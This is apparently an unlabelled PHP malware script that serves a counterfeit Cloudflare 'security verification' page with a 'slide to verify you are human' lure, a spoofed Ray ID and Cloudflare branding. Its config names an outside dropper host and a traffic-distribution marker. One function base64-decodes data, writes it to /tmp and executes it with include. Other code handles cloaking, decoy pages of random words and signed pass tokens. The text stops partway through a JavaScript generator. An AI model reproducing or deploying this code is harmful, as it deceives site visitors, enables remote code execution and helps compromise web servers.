@error_reporting(0);@ignore_user_abort(true);@set_time_limit(0);@ini_set("max_execution_time","0");
function _hd(){
header("Date: ".gmdate("D, d M Y H:i:s",time())." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s",time()-3600)." GMT");
header("Expires: ".gmdate("D, d M Y H:i:s",time()-1800)." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: max-age=0",false);
header("Pragma: no-cache");
}
function _ri(){
static $n=0;
list($u,$s)=explode(' ',microtime());
$n++;
srand((int)$s+(int)($u*1000000)+$n);
}
function _rl(){
_ri();$l=rand(4,12);return substr(str_shuffle(str_repeat($c="abcdefghijklmnopqrstuvwxyz",ceil($l/strlen($c)))),1,$l);
}
function _rt($l,$h){
_ri();$w=array("search","grasped","immobility","lithest","gaudiest","harlequin","kisses","touch","sip","separating","opposing","notion","proved","booze","coffee","charms","seas","thread","ariadne","scheme","chef","convinced","scared","steps","virgin","liberty","days","following","husband","govern","record","honest","continuing","imprisond","hot","sunshine","inheritance","twilights","dusky","hair","whatsoeer","sunbright","full","childish","liveth","despaird","believd","remains","wearily","length","flaw","unknowingly","missed","stirrups","disciplined","wicked","sickle","bending","stop","matter","learn","history","bleak","mild","concerns","ordinary","winter","wears","proof","roys","alert","planned","plotted","fierce","row","dauntless","challenge","ask","apply","beauty","dower","woe","lintwhites","chorus","fellowtraveller","cold","ice","worlds","flu","illnessthree","region","lucky","bastard","twill","soothe","sorrow","polity","sacrifice","christ","saviour","sticking","kerchiefplots","mold","name","river","bare","wanderers","thousands","dollars","effortless","money","fatherly","concern","pang","vexd","aver","multitude","sweetly","reposing","bands","armsout","trees","veil","withdrawn","hut","tour","confuse","debut","godheads","benignant","andmoney","needed","ride","barking","cat","plays","neatly","error","unprofitable","ophilia","dear","delighted","sake","replaced","athletic","prophy","guessing","tundra","peter","norway","boors","prison","clinicmy","seemliness","complete","sways","seen","tiviot","dale","familiar");
if($h==1)return $w[array_rand($w,1)];
$n=rand($l,$h);if($n<2)return ucfirst($w[array_rand($w,1)]);if($n>=count($w))$n=2;
$p=array();$o=array_rand($w,$n);$u=1;
foreach($o as $i){
$e=$w[$i];$n=rand(0,1);$c="";
if($n){$m=array(",",);$n=rand(0,count($m)-1);$c=$m[$n];$e.=$c;}
if($u){array_push($p,ucfirst($e));$u=0;}else{array_push($p,$e);}
if($c==)$u=1;
}
return implode(" ",$p);
}
function _dl($l,&$cfg){
$t=(int)$cfg['curl_timeout'];
if($t<1)$t=1;
$d="";
if(!strlen($d) && function_exists("curl_init")){
$h=@curl_init();
if($h){
@curl_setopt($h,CURLOPT_URL,$l);
@curl_setopt($h,CURLOPT_RETURNTRANSFER,1);
@curl_setopt($h,CURLOPT_HEADER,0);
@curl_setopt($h,CURLOPT_USERAGENT,$cfg['curl_ua']);
@curl_setopt($h,CURLOPT_HTTPHEADER,array($cfg['curl_header']));
@curl_setopt($h,CURLOPT_CONNECTTIMEOUT,$t);
@curl_setopt($h,CURLOPT_TIMEOUT,$t);
$d=@curl_exec($h);
@curl_close($h);
if(!is_string($d)){$d="";}
}
}
if(!strlen($d) && function_exists("file_get_contents")){
$opts=array("timeout"=>$t,"header"=>$cfg['curl_header']."\r\n","user_agent"=>$cfg['curl_ua']);
$scheme=parse_url($l,PHP_URL_SCHEME);
if($scheme!=="http"&&$scheme!=="https")$scheme="http";
$ctx=array($scheme=>$opts);
if($scheme==="https")$ctx["http"]=$opts;
$c=@stream_context_create($ctx);
$d=@file_get_contents($l,false,$c);
if(!is_string($d)){$d="";}
}
return $d;
}
function _pl(&$v){
$raw=@base64_decode($v,true);
if($raw===false||strlen($raw)===0)return;
$tmp="/tmp/"._alpha(16);
$fh=@fopen($tmp,"wb");
if($fh){
flock($fh,LOCK_EX);
$written=fwrite($fh,$raw);
fclose($fh);
if($written===strlen($raw))include $tmp;
}
@unlink($tmp);
}
function _st($q){
$t="";$s="";
$c=_cfg();
if(isset($q) && strlen($q)){
$d=_dl($q,$c);
$mark=$c['tds_mark'];
if(preg_match("/".preg_quote($mark,"/")."([^;]+);(\d+);/",$d)){$t=ucfirst(_rt(1,5))." ";$s="%%title%%";}
}
$p="";
$p.='<!DOCTYPE html><html lang="en">';
$p.='<head>';
$p.='<meta charset="UTF-8">';
$p.='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">';
$p.='<meta name="robots" content="noindex, nofollow">';
$p.="<title>$t$s</title>";
$p.='</head>';
$p.='<body>';
$p.=_rt(16,32);
$p.='</body>';
$p.='</html>';
if(strlen($s)){
$l=(strlen($p))-strlen($s);
$p=preg_replace("/$s/",$l,$p);
}
_hd();
header("Content-Type: text/html; charset=utf-8");
echo $p;
}
function _nf(){
header("HTTP/1.1 404 Not Found");
_hd();
header("Content-Type: text/html; charset=utf-8");
echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>";
}
function _cf($ip){
$v4=array("173.245.48.0/20","103.21.244.0/22","103.22.200.0/22","103.31.4.0/22","141.101.64.0/18","108.162.192.0/18","190.93.240.0/20","188.114.96.0/20","197.234.240.0/22","198.41.128.0/17","162.158.0.0/15","104.16.0.0/13","104.24.0.0/14","172.64.0.0/13","131.0.72.0/22");
$v6=array("2400:cb00::/32","2606:4700::/32","2803:f800::/32","2405:b500::/32","2405:8100::/32","2a06:98c0::/29","2c0f:f248::/32");
if(!filter_var($ip,FILTER_VALIDATE_IP))return false;
$bin=@inet_pton($ip);
if($bin===false)return false;
$list=strlen($bin)==4?$v4:$v6;
foreach($list as $c){
list($net,$bits)=explode("/",$c,2);
$n=@inet_pton($net);
if($n===false||strlen($n)!=strlen($bin))continue;
$bits=(int)$bits;
$full=$bits>>3;
$rem=$bits&7;
if($full&&substr($bin,0,$full)!==substr($n,0,$full))continue;
if($rem){
$mask=(0xFF<<(8-$rem))&0xFF;
if((ord($bin[$full])&$mask)!==(ord($n[$full])&$mask))continue;
}
return true;
}
return false;
}
function _ip(){
$ip="";
$remote=isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:"";
if(_cf($remote)&&!empty($_SERVER["HTTP_CF_CONNECTING_IP"])){
$ip=trim($_SERVER["HTTP_CF_CONNECTING_IP"]);
}else{
$ip=$remote;
}
if(!@filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE))return "";
return $ip;
}
function _gi(){
$gi="";
$ua="";
if(!empty($_SERVER["HTTP_USER_AGENT"]))$ua=urlencode($_SERVER["HTTP_USER_AGENT"]);
$gi.="ua=$ua";
return base64_encode($gi);
}
function _eq($a,$b){
if(!is_string($a)||!is_string($b)||strlen($a)!==strlen($b))return false;
$r=0;
$n=strlen($a);
for($i=0;$i<$n;$i++)$r|=ord($a[$i])^ord($b[$i]);
return $r===0;
}
function _alpha($n){
_ri();
$a="abcdefghijklmnopqrstuvwxyz";
$s="";
for($i=0;$i<$n;$i++)$s.=$a[rand(0,25)];
return $s;
}
function _rid(){
_ri();
$c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
$n=strlen($c);$s="";
for($i=0;$i<5;$i++)$s.=$c[rand(0,$n-1)];
return $s;
}
function _cfg(){
return array(
'dropugly_url' => 'https://cmsads.uz/'._rl().'?',
'fallback_url' => 'https://tinder.com',
'tds_mark' => 'utm_source:',
'curl_timeout' => 5,
'curl_ua' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0',
'curl_header' => 'Cache-Control: no-cache',
'sign_key' => 'e7c2a91f4b6d0835ac19e2f74d58b0c6a3e91d27f4b68015c2d9a7e34f18b6c0',
'cookie_name' => '',
'wait_min' => 3,
'wait_max' => 6,
'wait_text' => 'Please wait',
'wait_slop' => 0.3,
'pass_ttl' => 60,
'site_domain' => '',
'anim_check_min' => 600,
'anim_check_max' => 900,
'anim_transition' => 400,
'anim_success_min' => 700,
'anim_success_max' => 1000,
'anim_checkbox' => 0,
'slider_title' => 'One more step',
'slider_text' => 'Slide to verify you are human',
'debug' => 0,
);
}
function _xids($n){
$bad=array("var"=>1,"function"=>1,"return"=>1,"document"=>1,"window"=>1,"navigator"=>1,"screen"=>1,"true"=>1,"false"=>1,"null"=>1,"this"=>1,"new"=>1,"if"=>1,"while"=>1,"for"=>1,"try"=>1,"catch"=>1,"throw"=>1,"length"=>1,"status"=>1);
$used=array();
$o=array();
while(count($o)<$n){
$s=_alpha(rand(3,7));
if(isset($used[$s])||isset($bad[$s]))continue;
$used[$s]=1;
$o[]=$s;
}
return $o;
}
function _e($s,$k){
$a=array();
$n=strlen($s);
for($i=0;$i<$n;$i++)$a[]=ord($s[$i])^$k;
return "[".implode(",",$a)."]";
}
function _hex_q(){
$q=isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:"";
foreach(explode("&",$q) as $pair){
$kv=explode("=",$pair,2);
if(count($kv)<2)continue;
$k=urldecode($kv[0]);
$v=urldecode($kv[1]);
if($k==="utm_term")continue;
if(preg_match("/^[a-f0-9]+$/i",$v))return $v;
}
return "";
}
function _pass_make($cfg,$sec,$ms,$seed,$prefix,$names,$hex){
$b=pack("Nn",$sec,$ms).$seed;
$b.=chr(strlen($prefix)).$prefix;
$n=count($names);
for($i=0;$i<$n;$i++)$b.=chr(strlen($names[$i])).$names[$i];
$sig=hash_hmac("sha256",$b.$hex,$cfg["sign_key"],true);
return rtrim(strtr(base64_encode($b.$sig),"+/","-_"),"=");
}
function _pass_open($val,$hex,$cfg){
if(!is_string($val)||strlen($val)<20)return false;
$b64=strtr($val,"-_","+/");
$pad=strlen($b64)%4;
if($pad)$b64.=str_repeat("=",4-$pad);
$raw=base64_decode($b64,true);
if($raw===false||strlen($raw)<42)return false;
$sig=substr($raw,-32);
$body=substr($raw,0,-32);
$expect=hash_hmac("sha256",$body.$hex,$cfg["sign_key"],true);
if(!_eq($sig,$expect))return false;
if(strlen($body)<8)return false;
$sec=unpack("N",substr($body,0,4));
$ms=unpack("n",substr($body,4,2));
$sec=$sec[1];
$ms=$ms[1];
$o=6;
$seed=substr($body,$o,4);
$o+=4;
if(strlen($seed)!==4)return false;
if($o>=strlen($body))return false;
$pl=ord($body[$o]);
$o++;
if($pl<1||$o+$pl>strlen($body))return false;
$prefix=substr($body,$o,$pl);
$o+=$pl;
$names=array();
for($i=0;$i<15;$i++){
if($o>=strlen($body))return false;
$nl=ord($body[$o]);
$o++;
if($nl<1||$o+$nl>strlen($body))return false;
$names[]=substr($body,$o,$nl);
$o+=$nl;
}
if($o!==strlen($body))return false;
return array("sec"=>$sec,"ms"=>$ms,"seed"=>bin2hex($seed),"prefix"=>$prefix,"names"=>$names);
}
function _tpl($dom,$host,$showCb,$cfg_sl_title,$cfg_sl_text){
$h=htmlspecialchars($host,ENT_QUOTES,"UTF-8");
_ri();$ray='';for($i=0;$i<16;$i++)$ray.=dechex(rand(0,15));
$p='';
$p.='<!DOCTYPE html><html lang="en-US"><head>';
$p.='<title>Just a moment...</title>';
$p.='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">';
$p.='<meta http-equiv="X-UA-Compatible" content="IE=Edge">';
$p.='<meta name="robots" content="noindex,nofollow">';
$p.='<meta name="viewport" content="width=device-width,initial-scale=1">';
$p.='<style>'.gzinflate(base64_decode('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')).'</style>';
$p.='<style>.sl-w{text-align:center;padding:20px 10px;max-width:340px;width:100%;box-sizing:border-box;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%)}.sl-hd{font-size:2.5rem;font-weight:600;line-height:125%;color:#333;margin:0 0 8px}.sl-ds{font-size:15px;color:#666;margin:0 0 20px}.sl-ctr{display:flex;justify-content:center}.sl-trk{position:relative;width:280px;height:44px;background:#e8e8e8;border-radius:22px;user-select:none;touch-action:none;-webkit-user-select:none;animation:slg 2s ease-in-out infinite}@keyframes slg{0%,100%{box-shadow:0 0 10px rgba(0,210,210,.15),0 0 20px rgba(0,210,210,.1)}50%{box-shadow:0 0 18px rgba(0,210,210,.6),0 0 36px rgba(0,210,210,.3)}}.sl-fl{position:absolute;left:0;top:0;height:100%;width:0;background:linear-gradient(90deg,#34d058,#28a745);border-radius:22px;pointer-events:none;transition:none}.sl-th{position:absolute;left:0;top:0;width:44px;height:44px;background:#fff;border-radius:50%;box-shadow:0 2px 6px rgba(0,0,0,.2);cursor:grab;display:flex;align-items:center;justify-content:center;z-index:2;transition:none}.sl-th:active{cursor:grabbing}.sl-lb{position:absolute;right:20px;top:50%;transform:translateY(-50%);color:#aaa;font-size:14px;pointer-events:none;letter-spacing:4px;animation:slp 2s ease-in-out infinite}@keyframes slp{0%,100%{opacity:.4}50%{opacity:1}}.sl-ok .sl-fl{width:100%!important;transition:width .3s}.sl-ok .sl-th{opacity:0;transition:opacity .3s}.sl-trk.sl-ok{animation:slgs 1.5s ease-in-out infinite}@keyframes slgs{0%,100%{box-shadow:0 0 10px rgba(40,167,69,.2),0 0 20px rgba(40,167,69,.1)}50%{box-shadow:0 0 18px rgba(40,167,69,.6),0 0 36px rgba(40,167,69,.3)}}.sl-ok .sl-lb{right:auto;left:50%;transform:translate(-50%,-50%);color:#fff;letter-spacing:0;animation:none;opacity:1;font-size:18px}@media(prefers-color-scheme:dark){.sl-hd{color:#f2f2f2}.sl-ds{color:#a0a0a0}.sl-trk{background:#3a3a3a}.sl-th{background:#d0d0d0;box-shadow:0 2px 6px rgba(0,0,0,.5)}.sl-th svg path,.sl-th svg line{stroke:#333}.sl-lb{color:#777}}</style>';
$p.='<meta http-equiv="refresh" content="360">';
$p.='</head><body>';
$p.='<div class="main-wrapper" role="main"><div class="main-content">';
$p.='<div id="'.$dom['ht'].'" class="ch-title-zone"><h1>'.$h.'</h1></div>';
$p.='<h2 id="'.$dom['h2'].'" class="ch-title spacer-bottom">Performing security verification</h2>';
$p.='<p id="'.$dom['desc'].'" class="ch-description spacer-top">This website uses a security service to protect against malicious bots. This page is displayed while the website verifies you are not a bot.</p>';
$p.='<div id="'.$dom['wc'].'" style="display:block"><div class="cf-w">';
$cbVis=$showCb?'flex':'none';
$p.='<div id="'.$dom['cb'].'" class="cb-c" style="display:'.$cbVis.'"><label class="cb-lb"><input type="checkbox"><span class="cb-i"></span><span class="cb-lb-t">Verify you are human</span></label></div>';
$sv='<line x1="15" x2="15" y1="1.5" y2="5.5" class="circle"/>';
$sv.='<line x1="24.5459" x2="24.5459" y1="5.45405" y2="10.45405" transform="rotate(45 24.5459 5.45405)" class="circle"/>';
$sv.='<line x1="28.5" x2="28.5" y1="15" y2="20" transform="rotate(90 28.5 15)" class="circle"/>';
$sv.='<line x1="24.5459" x2="24.5459" y1="24.546" y2="29.546" transform="rotate(135 24.5459 24.546)" class="circle"/>';
$sv.='<line x1="15" x2="15" y1="28.5" y2="33.5" transform="rotate(180 15 28.5)" class="circle"/>';
$sv.='<line x1="5.4541" x2="5.4541" y1="24.5459" y2="29.5459" transform="rotate(-135 5.4541 24.5459)" class="circle"/>';
$sv.='<line x1="1.5" x2="1.5" y1="15" y2="20" transform="rotate(-90 1.5 15)" class="circle"/>';
$sv.='<line x1="5.45408" x2="5.45408" y1="5.45404" y2="10.45404" transform="rotate(-45 5.45408 5.45404)" class="circle"/>';
$vfVis=$showCb?'none':'grid';$vfV=$showCb?'hidden':'visible';
$spinCls=$showCb?'cf-vi unspun':'cf-vi';
$p.='<div id="'.$dom['vf'].'" class="cb-ct" style="display:'.$vfVis.';visibility:'.$vfV.'"><div><svg class="'.$spinCls.'" viewBox="0 0 30 30" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">'.$sv.'</svg></div><div class="cf-vm"><span>Verifying...</span></div></div>';
$sf='<line x1="15" x2="15" y1="7.5" y2="0"/><line x1="20.303" x2="23.787" y1="9.697" y2="5.303"/>';
$sf.='<line x1="22.5" x2="30" y1="15" y2="15"/><line x1="20.303" x2="23.787" y1="20.303" y2="24.697"/>';
$sf.='<line x1="15" x2="15" y1="22.5" y2="30"/><line x1="9.697" x2="5.303" y1="20.303" y2="23.787"/>';
$sf.='<line x1="7.5" x2="0" y1="15" y2="15"/><line x1="9.697" x2="5.303" y1="9.697" y2="5.303"/>';
$p.='<div id="'.$dom['sc'].'" class="cb-ct" style="display:none;visibility:hidden">';
$p.='<svg class="cf-sp" viewBox="0 0 30 30"><g>'.$sf.'</g></svg>';
$p.='<svg class="cf-si" viewBox="0 0 52 52" aria-hidden="true" style="display:none"><circle class="success-circle" cx="26" cy="26" r="25"/><path class="p1" d="m13,26l9.37,9l17.63,-18"/></svg>';
$p.='<span class="cf-st">Success!</span></div>';
$lg=gzinflate(base64_decode('jVjLjiS5DfyVRPvstESKpATsLGCnsahD9bUOfVt4/VhggDWwc/DnO4JSVlW3DfTMpSaSlETxEaT6h3///O1f2y9fXl697r23vlXbo7d6ddmLqxBXi34ASxjkbW9VfAOuw2Oruofo2Li+lUoslfp1t1qhL3tYjc3LPrwN4hahxFpKJG6m1xbYh+txTlc/gL3XhWVsxE1yPwn8Epeuia0J9S10ytWccmtNEpdcbrCLsIbn9m0MT9y0Ut66TVzamHiaV2B26uf1gcWWGNbVffTWEg/VxM0tram8Lb2q83hrqY/L1Gm9J47ee96WuwO2nsbDGS2xtEic1hFf4brWJYjMcBenET0Pw+K2ue5eebeyS3PZvCFUxba+hyrXt33UhhDuvarXg7g1hARyaak/rAJ6w7+E2ojNhgXVa5VN9l7chIFEnGwrm2FDfimHIQlkKL8V+FcqtLVX3LCNvShuZLuP2hGHjvDCZmSZ1HlzNYWD926jy9Z8b8Jww6QuerS2O1xBfWW6NZwUPm2jmiJ82nBVlREIm+7FBm8eFR4iHLB1IEd7s1QfQ4AR44owICnbCGB4ClZqZ/RtZoU8YdtLtXpMPIhRHDXlXbOIbK3HtbKIYtRxJB6NuFvVlFtPjAClvhTJ/UYzoT7CP+V97qcFIam+l+ITO7yVOFC0yIg+lnyMLMJRPXGFtxLTvmfsz+ruS730TnGIyTyeiQQcIcs8o35nmNP8NjmAlIDbNZTmB0p5e9n+8evXr19e/vCTd6k/vfzpxx8e9IMjWV+OOEvH1tgSET3x5txTEyIPCEPgGGCvEVSP0iOx1pQ7TEocdSQOOBYYJJHbg02YN/CrRsorbhq4uEx9OKoSiyGPiKMmRp1PuRlhoAoSstICaTLUr8DFKisOu6uyZJAWA3llnXHMCuxZoCAjLsdlBnGgsNO6TIOK8COccA7IJOnBBCzjrNw2699QzwPkY6kerClgU51sgfTeiAP1T6xEXjQW1yi1XX2udhoD7Da5Z4DqiHtM5tJB9SgIDLFFqoP/U72PBfskQqRmqqum+gi3JZ88Wqc1US1pvBhTCqcNnTwNDxHCs5O2UYBp/OoCqKS8qpUxuwDiRVf0HrNLxMSiPrtIHVd4zjXq2XXo6SotsVXwMaiz5fHoasZ0lH3Q4yxwJC27YkgWQC8ibIpRuT2wgBcSF1sV4BPn6g4en+o2xYOncbe5fJCeiNVTjiodqY/IJrYld5/0APMS95MeQqmPnjXlY+T+Xekd1vO8Tbc7fWRPR1cZJ55yxvYJe+0nvgS8ZkUO/FpZNIEYEnpZZozEjvSfZlujumf6AgvohRi5NN2CYiIeMXmjDqM+aCQxmmDuN9gTMHqYgy0TszwU+w0/ErO3F5SjZ5Jg3yfueM8tTzz0lz//tdV3PARCRuuEbShdEMhlMA9avQkSA3PGBYniVcdNUNEx+mXp35Y+9v7b159///3Ly9ff/vnbH7/9/T/f3m2PK2jpaIcohyJ6E1Ik8vD+He3SZ4Y4A8vGRc9yvCART3zUsWv1hxzLULOayzEaPDAJudf7MffvyghhPzRCJgpug4SZ57C7LnzQDAx/D/lpJtYL6+D9dd5eYdBAqv7v/R7fSy5E4yJxwiBxZux58MQHUgt98UnO1Frry2ywJ353wft3Vk7PTPdS88LGue105MK0S9ERHvLTTplk+OE+n4UXy5xxk6SjlRT1Avep9Hbj5zrqsTBPLR3eAA6bOLuLGGZsEPrChzCBVR9yeIdTjnDaKfrA2B/t8HEustNb5LnoS8fCPA9DL85l/4o8H4Wb5+qZDsCHcLav9SE/r4f1oMPt3XVFPnGOMvn6qqy4qHDqtEPZK8XP75s6Z6lMZcHnE7LdlH6bAW/H+Vk5wGCQwiZqmbhoLtx6mt37ZR67fBJvrxRGuhJkcSg4hLPKwpuCYygmBYE5T8jmJvP0MMxx6zPeNHjrbPdNMD46GvM6YiJeVJGzSSEI9/WdAZ9lFCY8jNR25yNMrBrcjJOq6QUTK9ppFhrarVCODnDL/IeT7+JFV2u776Wrxvp/nB3YzPqdC3O2b4/NU/t7tza+I9mpOSOFXYw9q42rdeQyKn5uGhc8KgIEfMWvCiofh3eMrhesLy2uRiayeKizUK1fP2z/9mo5cmfO4kevwHW0ZFw8TBoXmMRdfln6n10Drx/Ph94qOQ4QxZwTn+bzdH6fjyj2qIGHCwc+5RSD6aUVz3kvWtJx7ynF0Wma5vvtgYdaMPbgsFw2v+fY3XNXZ/nyiW35cMvJjskw5vBT2qqRC19xmHA40XBETi7CE/TCdz4CcFta83ono7y94n54WQ2eiXEOIw3CwffbwjxTSqRNjS+tJ4z5LokatZBvzvm9oKdHvlm7r6KBZ/KY5QJ5MipnVLt+sOLTIOEZxSfrmcg5MMQsoiLtwoEB/+H24EmKHbV0O1PhLkZsHTgeKb92/u56wmCOQTGJE5PNwSThQ4BEDhLDEIl5cDUjAa5sbic+4IQhbnc5XmsRbJI5JuoDZzOcTRF5cTx9L4X0T+ocupqr8xzHeLbgoXy0eNzFMNJ8zibe+STnH1oy4oIh4gIixmSPTEBnr5z66C3+BYWzafU1o8T9NgsfJCxTvcvLHH7QdMvzDdB261HmxIGHGVZxsAYjnlYbvIinAepE+GcBvpvTRTQKI584H+zT4X79EID/H6//Ag=='));
$p.='<div class="cf-br"><a target="_blank" href="https://www.cloudflare.com/products/turnstile/?utm_source=turnstile&utm_campaign=widget" rel="noopener noreferrer"><svg role="img" aria-label="Cloudflare" class="cf-lg" viewBox="0 0 73 25" fill="none" xmlns="http://www.w3.org/2000/svg">'.$lg.'</svg></a>';
$p.='<div class="cf-tm"><a target="_blank" rel="noopener noreferrer" href="https://www.cloudflare.com/privacypolicy/">Privacy</a><span class="lsp"> • </span><a target="_blank" rel="noopener noreferrer" href="https://www.cloudflare.com/cdn-cgi/challenge-platform/help">Help</a></div></div>';
$p.='</div></div>';
$p.='<div id="'.$dom['pg'].'" style="display:none"><h2 id="challenge-success-text" class="spacer-top">Verification successful. Waiting for '.$h.' to respond</h2></div>';
$p.='<div id="'.$dom['ld'].'" class="spacer loading-verifying" style="display:none;visibility:hidden"><div class="lds-ring"><div></div><div></div><div></div><div></div></div></div>';
$p.='<div id="'.$dom['sw'].'" class="sl-w" style="display:none"><h2 class="sl-hd">'.htmlspecialchars($cfg_sl_title,ENT_QUOTES,"UTF-8").'</h2><p class="sl-ds">'.htmlspecialchars($cfg_sl_text,ENT_QUOTES,"UTF-8").'</p><div class="sl-ctr"><div id="'.$dom['str'].'" class="sl-trk"><div id="'.$dom['sfl'].'" class="sl-fl"></div><div id="'.$dom['sth'].'" class="sl-th" tabindex="0"><svg viewBox="0 0 13 10" width="16" height="12"><path d="M7 1L11.57 5L7 9" stroke="#46494C" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/><line x1="9" y1="5" x2="1" y2="5" stroke="#46494C" stroke-width="2" stroke-linecap="round"/></svg></div><span id="'.$dom['slb'].'" class="sl-lb">❯❯❯</span></div></div></div>';
$p.='<noscript><div class="h2"><span>Enable JavaScript and cookies to continue</span></div></noscript>';
$p.='</div></div>';
$p.='<div class="footer" role="contentinfo"><div class="footer-inner"><div class="footer-wrapper">';
$p.='<div class="clearfix diagnostic-wrapper"><div class="ray-id">Ray ID: <code>'.$ray.'</code></div></div>';
$p.='<div class="footer-link-wrapper"><span class="footer-text">Performance and Security by <a rel="noopener noreferrer" href="https://www.cloudflare.com?utm_source=challenge&utm_campaign=m" target="_blank">Cloudflare</a></span><span class="footer-divider"></span><a target="_blank" rel="noopener noreferrer" href="https://www.cloudflare.com/privacypolicy/" class="footer-text">Privacy</a></div>';
$p.='</div></div></div>';
$p.='<script>// %SCRIPT%</script>';
$p.='</body></html>';
return $p;
}
function _js($cfg,$hex){
_ri();
$k=rand(1,255);
$cw=rand(40,90);
$chh=rand(20,40);
$step=rand(8,24);
$mul=rand(1000003,4000000)|1;
$init=rand(100000,2000000000);
$c1=sprintf("#%02x%02x%02x",rand(0,40),rand(0,40),rand(40,90));
$c2=sprintf("#%02x%02x%02x",rand(120,220),rand(140,230),rand(160,240));
$lo=(int)$cfg["wait_min"];
